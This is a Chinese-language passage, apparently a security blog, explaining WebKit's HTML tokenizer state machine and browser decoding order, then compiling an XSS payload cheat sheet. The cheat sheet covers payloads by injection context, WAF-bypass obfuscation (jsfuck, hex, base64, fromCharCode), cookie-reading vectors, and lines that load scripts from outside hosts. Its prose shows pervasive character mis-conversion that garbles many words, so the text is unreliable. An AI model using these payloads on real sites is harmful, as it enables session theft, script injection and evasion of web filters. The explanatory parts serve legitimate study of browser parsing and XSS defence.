在WebKit中,有兩個類,同詞法分析密切相關,它是HTMLToken和HTMLTokenizer類,能夠簡單將HTMLToken類理解爲標記,HTMLTokenizer類理解爲詞法解析器。HTML詞法解析的任務,就是將輸入的字節流解析成一個個的標記(HTMLToken),而後由語法解析器進行下一步的分析。
在XML/HTML的文檔解析中,token這個詞常常用到,我將其理解爲一個有完整語義的單元(也就是分出來的「詞」),一個元素一般對應於3個token,一個是元素的起始標籤,一個是元素的結束標籤,一個是元素的內容,這點同DOM樹是不同的,在DOM樹上,起始標籤和結束標籤對應於一個元素節點,而元素內容對應另外一個節點。
除了起始標籤(StartTag)、結束標籤(EndTag)和元素內容(Character),HTML標籤還有DOCTYPE(文檔類型),Comment(註釋),Uninitialized(默認類型)和EndOfFile(文檔結束)等類型,參見HTMLToken.h中的Type枚舉。
標記的組成:類型,在字節流中的偏移,數據(m_data,不一樣的類型具備不一樣的意義),文檔類型,是否自封閉(對於開始和結束標籤),屬性列表,當前屬性。
HTMLTokenizer就是要從字節流解析出一個個這樣的結構體來,他的實現是基於狀態機來作的。狀態機模型在<http://www.w3.org/TR/html5/tokenization.html#tokenization>
中已經明肯定義,nextToken方法實現了該狀態機。
以一個簡單的html文檔來複盤狀態機的幾條路線。
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!--comment --> <html> <body> <a href=」w3c.org」>w3c</a> </body> </html>
在HTML中,某些字符是預留的。例如在HTML中不能使用「<」或「>」,這是由於瀏覽器可能誤認爲它們是標籤的開始或結束。若是但願正確地顯示預留字符,就須要在HTML中使用對應的字符實體。一個HTML字符實體描述以下:
字符顯示 | 描述 | 實體名稱 | 實體編號 |
---|---|---|---|
< | 小於號 | < | <; |
字符引用包括「字符值引用」和「字符實體引用」。在上述HTML例子中,'<'對應的字符值引用爲'<',對應的字符實體引用爲‘<’。字符實體引用也被叫作「實體引用」或「實體」。)
不考慮相似<html>
和<body>
之間的回車換行(webkit裏面有作特殊處理,也就是所謂的「authoring convenience」,m_skipLeadingNewLineForListing),從前面的描述中,咱們能夠確認,該文檔有9個HTMLToken,分別是文檔類型聲明,註釋,html的起始標籤,body的起始標籤,a的起始標籤,a的元素內容,a的介紹標籤,body的結束標籤,html的結束標籤。
起始狀態爲DataState。
1)DOCTYPE
DataState:<!DOCTYPE,碰到’<’,進入TagOpenState TagOpenState:<!DOCTYPE, 碰到’!’,進入MarkupDeclarationOpenState狀態 MarkupDeclarationOpenState:<!DOCTYPE,碰到’D’,匹配DOCTYPE和--字數都不夠,保持現狀 MarkupDeclarationOpenState:<!DOCTYPE,匹配doctype,進入DOCTYPEState狀態(HTMLToken的type爲DOCTYPE) DOCTYPEState: <!DOCTYPE html PUBL,碰到空格,進入BeforeDOCTYPENameState狀態 BeforeDOCTYPENameState: <!DOCTYPE html PUBL,碰到’h’,進入DOCTYPENameState DOCTYPENameState: <!DOCTYPE html PUBL,碰到’t’,保持原狀態,提取html做爲文檔類型 DOCTYPENameState: <!DOCTYPE html PUBL,碰到空格,進入AfterDOCTYPENameState狀態。(HTMLToken的m_data爲html) AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,碰到’P’,還未能匹配Public或者system,保持狀態 AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,匹配public,進入AfterDOCTYPEPublicKeywordState AfterDOCTYPEPublicKeywordState:<!DOCTYPE html PUBLIC "-/,碰到空格,進入BeforeDOCTYPEPublicIdentifierState BeforeDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/,碰到’」’,進入DOCTYPEPublicIdentifierDoubleQuotedState DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/,碰到’-‘,保持狀態,提取m_publicIdentifier DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/…nal//EN">,碰到’」’,進入AfterDOCTYPEPublicIdentifierState狀態。(HTMLToken的m_publicIdentifier肯定) AfterDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/…nal//EN"> ,碰到’>’,進入DataState狀態,完成文檔類型的解析
2)COMMENT
DataState:<!--comment -->,碰到’<’,進入TagOpenState TagOpenState:<!--comment -->, 碰到’!’,進入MarkupDeclarationOpenState狀態 MarkupDeclarationOpenState:<!--comment -->,碰到’-’,匹配DOCTYPE和--字數都不夠,保持現狀 MarkupDeclarationOpenState:<!--comment -->,匹配--,進入CommentStartState狀態(HTMLToken的type爲COMMENT) CommentStartState: <!--comment -->,碰到’c’,進入CommentState CommentState:<!--comment -->,碰到’-‘,進入CommentEndDashState狀態(HTMLToken的m_data爲comment) CommentEndDashState: <!--comment -->,碰到’-‘,進入CommentEndState狀態 CommentEndState:<!--comment -->,碰到’>‘,進入DataState狀態,完成解析。
3)起始標籤a
DataState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到’<’,進入TagOpenState狀態 TagOpenState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到’a’,進入TagNameState狀態(HTMLToken的type爲StartTag) TagNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到空格,進入BeforeAttributeNameState狀態(HTMLToken的m_data爲a) BeforeAttributeNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘h’,進入AttributeNameState狀態 AttributeNameState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘=’,進入BeforeAttributeValueState狀態(HTMLToken屬性列表中加入一個屬性,屬性名爲href) BeforeAttributeValueState: <a href=[」w3c.org](http://www.w3c.org/)">,碰到‘「’,進入AttributeValueDoubleQuotedState狀態 AttributeValueDoubleQuotedState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘w’,保持狀態,提取屬性值 AttributeValueDoubleQuotedState:<a href=[」w3c.org](http://www.w3c.org/)">,碰到‘「’,進入AfterAttributeValueQuotedState(HTMLToken當前屬性的值爲w3c.org). AfterAttributeValueQuotedState: <a href=[」w3c.org](http://www.w3c.org/)">,碰到‘>’,進入DataState,完成解析。 在完成startTag的解析的時候,會在解析器中存儲與之匹配的end標籤(m_appropriateEndTagName),等到解析end標籤的時候,會同它進行匹配(語法解析的時候)。 html,body起始標籤相似a起始標籤,但沒有屬性解析
4) a元素
DataState:w3c</a>,碰到’w’,維持原狀態,提取元素內容(HTMLToken的type爲character)。 DataState:w3c</a>,碰到’<’,完成解析,不consume ’<’。(HTMLToken的m_data爲w3c)。
5)a結束標籤
DataState:w3c</a>,碰到’<’,進入TagOpenState。 TagOpenState:w3c</a>,碰到’/’,進入到EndTagOpenState。(HTMLToken的type爲endTag)。 EndTagOpenState:w3c</a>,碰到’a’,進入到TagNameState。 TagNameState:w3c</a>,碰到’>’,進入到DataState,完成解析。
經過以上的覆盤,一個標記的token過程清晰呈如今眼前,基本上就是實現http://www.w3.org/TR/html5/tokenization.html
這一章的一個過程,html的規範是至關寬鬆的,因此詞法解析要考慮到的問題不少,html5specfication在這方面爲實現者作了絕大部分工做。另外,html的語法解析會影響詞法解析,好比語法解析在解析到head裏面title的起始標籤後,會將htmltokenizer解析器的狀態設置爲RCDATAState。
一個HTML解析器做爲一個狀態機,它從輸入流中獲取字符並按照轉換規則轉換到另外一種狀態。在解析過程當中,瀏覽器處於Datastate狀態時,只要遇到一個'<'符號(後面沒有跟'/'符號)就會進入「標籤開始狀態(Tagopenstate)」。而後轉變到「標籤名狀態(Tagnamestate)」,「前屬性名狀態(beforeattributenamestate)」......最後進入「數據狀態(Datastate)」並釋放當前標籤的token。當解析器處於「數據狀態(Datastate)」時,它會繼續解析,每當發現一個完整的標籤,就會釋放出一個token。
這裏有三種狀況能夠容納字符實體,「數據狀態中的字符引用」,「RCDATA狀態中的字符引用」和「屬性值狀態中的字符引用」。在這些狀態中HTML字符實體將會從「&#...」形式解碼,對應的解碼字符會被放入數據緩衝區中。例如,在問題4中,「<」和「>」字符被編碼爲「<」和「>」。當解析器解析完「<div>」
並處於「數據狀態」時,這兩個字符將會被解析。當解析器遇到「&」字符,它會知道這是「數據狀態的字符引用」,所以會消耗一個字符引用(例如「<」)並釋放出對應字符的token。在這個例子中,對應字符指的是「<」和「>」。你們可能會想:這是否是意味着「<」和「>」的token將會被理解爲標籤的開始和結束,而後其中的腳本會被執行?答案是腳本並不會被執行。緣由是解析器在解析這個字符引用後不會轉換到「標籤開始狀態」。正由於如此,就不會創建新標籤。所以,咱們可以利用字符實體編碼這個行爲來轉義用戶輸入的數據從而確保用戶輸入的數據只能被解析成「數據」。
在HTML中有五類元素:
1.空元素(Voidelements),如<area>,<br>,<base>等等 2.原始文本元素(Rawtextelements),有<script>和<style> 3.RCDATA元素(RCDATAelements),有<textarea>和<title> 4.外部元素(Foreignelements),例如MathML命名空間或者SVG命名空間的元素 5.基本元素(Normalelements),即除了以上4種元素之外的元素
五類元素的區別以下:
1.空元素,不能容納任何內容(由於它們沒有閉合標籤,沒有內容可以放在開始標籤和閉合標籤中間)。
2.原始文本元素,能夠容納文本。
3.RCDATA元素,能夠容納文本和字符引用。(<)
4.外部元素,能夠容納文本、字符引用、CDATA段、其餘元素和註釋
5.基本元素,能夠容納文本、字符引用、其餘元素和註釋
2.原始文本元素(Rawtextelements),有<script>
和<style>
3.RCDATA元素(RCDATAelements),有<textarea>
和<title>
4.外部元素(Foreignelements),例如MathML命名空間或者SVG命名空間的元素。
5.基本元素(Normalelements),即除了以上4種元素之外的元素
HTML解析器的規則,其中有一種能夠容納字符引用的狀況是「RCDATA狀態中的字符引用」。這意味着在<textarea>
和<title>
標籤中的字符引用會被HTML解析器解碼。
這裏要再提醒一次,在解析這些字符引用的過程當中不會進入「標籤開始狀態」。對RCDATA有個特殊的狀況。在瀏覽器解析RCDATA元素的過程當中,解析器會進入「RCDATA狀態」。
在這個狀態中,若是遇到「<」字符,它會轉換到「RCDATA小於號狀態」。若是「<」字符後沒有緊跟着「/」和對應的標籤名,解析器會轉換回「RCDATA狀態」。這意味着在RCDATA元素標籤的內容中(例如<textarea>
或<title>
的內容中),惟一可以被解析器認作是標籤的就是「</textarea>」
或者「</title>」
。這要看開始標籤是哪個。在「<textarea>」
和「<title>」
的內容中不會建立標籤,就不會有腳本可以執行。
3)編碼知識
瀏覽器解析規則
URL編碼:
一個百分號和該字符的ASCII編碼所對應的2位十六進制數字,例如「/」的URL編碼爲%2F(通常大寫,但不強求)
HTML實體編碼:
JS編碼:js提供了四種字符編碼的策略
一、三個八進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\145」 二、兩個十六進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\x65」 三、四個十六進制數字,若是不夠個數,前面補0,例如「e」編碼爲「\u0065」 四、對於一些控制字符,使用特殊的C類型的轉義風格(例如\n和\r) 五、jsfuck編碼
CSS編碼:用一個反斜線()後面跟1~6位的十六進制數字,例如e能夠編碼爲「\65」或「65」或「00065」
HTML解析器能識別在文本節點和參數值裏的實體編碼,並在內存裏建立文檔樹的表現形式時,透明的對這些編碼進行解碼
瀏覽器的解析規則:瀏覽器收到HTML內容後,會從頭開始解析。當遇到JS代碼時,會使用JS解析器解析。當遇到URL時,會使用URL解析器解析。遇到CSS則用CSS解析器解析。尤爲當遇到複雜代碼時,可能該段代碼會通過多個解析器解析。
好比:<a href="javascript:window.open('http://www.baidu.com')">test</a>
這段代碼,HTML解析器首先工做(注:此時,若href=」字符串」中的字符串存在字符引用,會對其解碼)。而後URL解析器開始對href值進行URL解析。進行URL解析時,URL資源類型必須是ASCII字母(U+0041-U+005A || U+0061-U+007A),否則就會進入「無類型」狀態。即,javascript:是不能進行任何js編碼的。解析了javascript:以後,會由JS解析器進行解析。JS解析器針對一些編碼,其只有在標誌符名稱裏的編碼字符纔可以被正常的解析。解析完window.open之後,又會由URL解析器進行解析。想了解各解析器的特性,可參考這篇文章深刻理解瀏覽器解析機制和XSS向量編碼
JS解析器不會解析和解碼字符引用,而針對JS的一些編碼其會視狀況而定。
能夠看到,該代碼通過了HTML->URL->JS->URL 四重解析。因爲不一樣的解析器可以分別對一些編碼格式進行解析,因此咱們能夠經過生成特定格式的編碼代碼,令其在依次解碼後可以正確執行,從而繞過WAF。
如:
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
該代碼可以正確執行。
首先,通過HTML解析以後,代碼會變成
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
此時,因爲javascript已經生成,不違反URL解析規則。因此,URL解析正常。解析了javascript,最終進入JS解析器。注意,URL解析器還完成了URL解碼工做。
<a href="javascript:alert(2)">test</a>
因此,JS最終解析的代碼時alert(2).成功執行。
總結來講,各類編碼在XSS中的利用很是靈活,咱們須要在充分了解瀏覽器的解析原理合理構造合理編碼順序的代碼,最終構造出Payload。
1)反射性XSS
惡意代碼一般存在於URL中須要用戶去點擊相應的連接纔會觸發,隱蔽性較差並且,並且可能會被瀏覽器的XSSFilter幹掉
流程:輸入--輸出
2)存儲型XSS
惡意代碼一般存在於數據庫中用戶瀏覽被植入payload的「正常頁面」時便可觸發,隱蔽性較強,成功率高,穩定性好。
流程:輸入--進入數據庫--取出數據庫--輸出
三、測試方法
常規測試的Payload可使用https://xss.haozi.me/#/0x01
測試
輸出位置可使用標籤
<script>alert(1)</script>
<script>
標籤</textarea><script>alert(1)</script>
<script>
標籤"><script>alert(1)</script>
<img src=x onerror=alert(1)>
src報錯,出發onerror事件。
<img src=x onerror=alert(1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> <iframe srcdoc="<script>alert(1)</script>"></iframe>
--!><script>alert(1)</script>
type=image src=1 onerror =alert(1)
<svg onload=alert(1)
</style ><script>alert(1)</script>
alert(1) -->
');alert('1
123;alert(1)
");alert("1
\");alert(1)//
四、測試總結
測試waf繞過
簡單: "'<script javascript onload src><a href></a>#$%^ 全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>
觀察輸入輸出狀況,一些特殊字符是否被編碼、標籤是否被過濾、輸出點在標籤之間或標籤以內。
輸出位置進行XSS
模型: <div>[xss]</div> payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)> 這些標籤有: <a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio> 自帶HtmlEncode(轉義)功能的標籤(RCDATA),這是插入的javascript不會被執行,除非閉合掉它們。 <textarea></textarea> <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> <xmp></xmp> <plaintext></plaintext> 其餘:<math></math>
在該位置,空格被過濾,可用/**/代替空格。輸出在註釋中,經過換行符%0a %0d使其逃逸出來。
1.不在字符串內。
判斷<>/是否被過濾。若是沒有,那麼直接插入就能夠。
```
payload:
```
2.在字符串中
此時須要閉合字符串,並保證插入的JS代碼符合語法規範。
如:
<script> Var x="Input"; </script> payload: input是輸出點,咱們首先要閉合雙引號,才能保證XSS成功。若是咱們沒法閉合包括字符串的引號(引號被轉義),就很難利用。
除非存在兩個輸出點或寬字節,在引號被轉義成"時有效。在網頁爲GBK編碼時,存在寬字節問題。
反斜線復仇記 | 利用點 |
---|---|
https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html |
兩個輸入點 |
那些年咱們一塊兒學XSS【寬字節復仇記】 | |
https://wizardforcel.gitbooks.io/xss-naxienian/content/3.html |
寬字節 |
1.文本屬性中
例如:`<input value="輸出">` 、 `<img onload="...[輸出]...">` ,再好比 `<body style="...[輸出]...">` - 無引號包裹,直接添加新的事件屬性。 - 有引號包括。首先測試引號是否可用,可用則閉合屬性以後添加新的事件屬性。 HTML的屬性,若是被進行HTML實體編碼(形如''),那麼HTML會對其進行自動解碼,從而咱們能夠在屬性裏以HTML實體編碼的方式引入任意字符,從而方便咱們在事件屬性裏以JS的方式構造payload。固然,也能夠閉合屬性後,而後再執行腳本。
2.src/href/action/xlink:href/autofocus/content/data
等屬性直接使用僞協議繞過。
``` javascript 僞協議: <a href=javascript:alert(2)>test</a> data 協議執行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被攔截,Firefox能夠) urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(測試未經過) 不使用 href 的另一種組合來執行 js: <svg><a xlink:href="javascript:alert(14)"> <rect width="1000" height="1000" fill="white"/> </a></svg>(都可) 或者: <math> <a xlink:href=javascript:alert(1)>1</a> </math>(Chrome不可,Firefox能夠) ``` 若是不行,則測試添加事件進行觸發。(首先仍是須要閉合)如:
<a href="test.com" onmouseover=alert(1)>ClickHere</a>
3.on*事件
插入合乎邏輯的JS代碼便可。也可使用僞協議。
常見事件
onload onclick onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
4.style屬性內及css代碼之中IE可執行,而且在IE6以上被防護,不適合其餘瀏覽器,基本已死。
style="width:expression(js代碼)" background-image:url('javascript:alert(2)')
輸出在meta標籤
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
1.a標籤
<a href=javascript:alert(2)>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 或者 <math><a xlink:href=javascript:alert(1)></math>
2.script標籤
最簡單的測試payload:
<script>alert(1)</script>
jsfuck版本:
http://www.jsfuck.com/ <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
各類編碼版本:
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script> <script>prompt(-[])</script>//不僅是alert。prompt和confirm也能夠彈窗 <script>alert(/3/)</script>//能夠用"/"來代替單引號和雙引號 <script>alert(String.fromCharCode(49))</script> //咱們還能夠用char <script>alert(/7/.source)</script> // ".source"不會影響alert(7)的執行 <script>setTimeout('alert(1)',0)</script> //若是輸出是在setTimeout裏,咱們依然能夠直接執行alert(1)
3.button標籤
event事件實現js調用:
<button/onclick=alert(1) >M</button>
html5的新姿式:
須要交互的版本:
<form><button formaction=javascript:alert(1)>M
不須要交互的版本:
<button onfocus=alert(1) autofocus>
4.p標籤
""
就足夠了:<p/onmouseover=javascript:alert(1); >M</p>
5.img標籤
有些姿式是由於瀏覽器的不一樣而不能成功執行的。
<img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效 <img/src/onerror=alert(1)> //只在chrome下有效
<img src=x onerror=alert(1)> <img src="x:kcf" onerror="alert(1)">
6.body標籤
經過event事件來調用js
<body onload=alert(1)> <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
7.var標籤
<var onmouseover="prompt(1)">M</var>
8.div標籤
<div/onmouseover='alert(1)'>X <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
9.iframe標籤
有時候咱們能夠經過實體編碼、換行和Tab字符來bypass。咱們還能夠經過事先在swf文件中插入咱們的xss code,而後經過src屬性來調用。不過關於flash,只有在crossdomain.xml文件中,allow-access-from domain=」*「容許從外部調用swf時,才能夠經過flash來事先xss attack。
下面的	
爲tab字符
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <iframe SRC="http://0x.lv/xss.swf"></iframe> <IFRAME SRC="javascript:alert(1);"></IFRAME> <iframe/onload=alert(1)></iframe>
10.meta標籤
測試時發現暱稱,文章標題跑到meta標籤中,那麼只須要跳出當前屬性再添加http-equiv="refresh"
,就能夠構造一個有效地xss payload。還有一些猥瑣的思路,就是經過給http-equiv
設置set-cookie
,進一步從新設置cookie來幹一些猥瑣的事情。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/> <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
和a標籤的href屬性的玩法是同樣的,優勢是無需交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
<marquee onstart="alert('1')"></marquee>
在一些只針對屬性作了過濾的webapp中,action頗有多是漏網之魚。
<isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image>
經過event來調用js。和button同樣經過autofocus能夠達到無需交互便可彈窗的效果。
<input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus>
<select onfocus=javascript:alert(1) autofocus>
<textarea onfocus=javascript:alert(1) autofocus>
<keygen onfocus=javascript:alert(1) autofocus>
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome <embed src=javascript:alert(1)> //firefox
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
<math href="javascript:javascript:alert(1)">CLICKME</math> <math><y/xlink:href=javascript:alert(51)>test1 <math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
<video><source onerror="alert(1)"> <video src=x onerror=alert(48)>
<audio src=x onerror=alert(47)>
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
<video poster=javascript:alert(1)//></video> // Opera 10.5如下有效
<applet code="javascript:confirm(document.cookie);"> // Firefox有效 embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<img style="xss:expression(alert(0))"> // IE7如下 <div style="color:rgb(''�x:expression(alert(1))"></div> // IE7如下 <style>#test{x:expression(alert(/XSS/))}</style> // IE7如下
過WAF技巧
<scr<script>ipt>
<sCript>
<IMG SRC=javascript:alert('XSS')>
<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
<q/oncut=alert(1)>//在限制長度的地方頗有效
<script>alert(/jdq/)</script> //用雙引號會把引號內的內容單獨做爲內容 用斜槓,則會連斜槓一塊兒回顯
<a href="javascript:alert(/test/)">xss</a> <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架標籤
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<script>alert(/3/)</script>
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a> <img src=x onerror="javascript:window.onerror=alert;throw 1">
以上兩個測試向量在 Chrome 和 IE 上會出現一個 「uncaught」 錯誤,能夠用下面的向量代替(下面向量在FireFox上測試失敗)
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
<svg><script>alert(/1/)</script>
opera 中能夠不閉合 <svg><script>alert( 1)
// Opera可查<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>
時,能夠用回車、Tab鍵將src中的內容隔開,回車的url編碼爲%0a,%0b;<scri<!-- 第二處-->pt>
;<a onmouseover="alert(document.cookie)">xxs link</a> 在chrome下,其回補全缺失的引號。所以,也能夠這樣寫: <a onmouseover=alert(document.cookie)>xxs link</a>
<script>z=’document.’</script> <script>z=z+’write(「‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script> <script>z=z+’w.shell’</script> <script>z=z+’.net/1.’</script> <script>z=z+’js></sc’</script> <script>z=z+’ript>」)’</script> <script>eval_r(z)</script>
JS函數(如eval,settimeout)還有就是href= action= formaction= location= on*= name= background= poster= src= code=這些地方,能夠配合編碼。此外,data屬性能夠base64編碼。 1.js16進制 <script>eval(「js+16進制加密」)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 編碼要執行的語句↓ Alert(「xss」) 2.js unicode <script>eval("unicode加密")</script> //js unicode加密 解決alert()被過濾 <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script> 3.String.fromCharCode函數(不須要任何引號,必須函數內) <script>eval(String.fromCharCode編碼內容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script> 4.jsfuck版本 <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 5.HTML編碼: <img src='1' onerror='alert(1)'> 6.base64編碼(僅data支持) <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object> 格式: Data:<mime type>,<encoded data> Data //協議 <mime type> //數據類型 charset=<charset> //指定編碼 [;base64] //被指定的編碼 <encoded data> //定義data協議的編碼 特色:不支持IE
<?=json_encode($_GET['x'])?>
?x=<img+src=x+onerror=ö-alert(1)>
當返回結果在 svg 標籤中的時候,會有一個特性 <svg><script>varmyvar="YourInput";</script></svg>
YourInput 可控,輸入 www.site.com/test.php?var=text";alert(1)//
若是把 「 編碼一些他仍然可以執行: <svg><script>varmyvar="text";alert(1)//";</script></svg>
《XSS測試備忘錄》http://momomoxiaoxi.com/2017/10/10/XSS/
(360安全客)深刻理解瀏覽器解析機制和XSS向量編碼
WEBKIT中的HTML詞法解析 https://blog.csdn.net/dlmu2001/article/details/5998130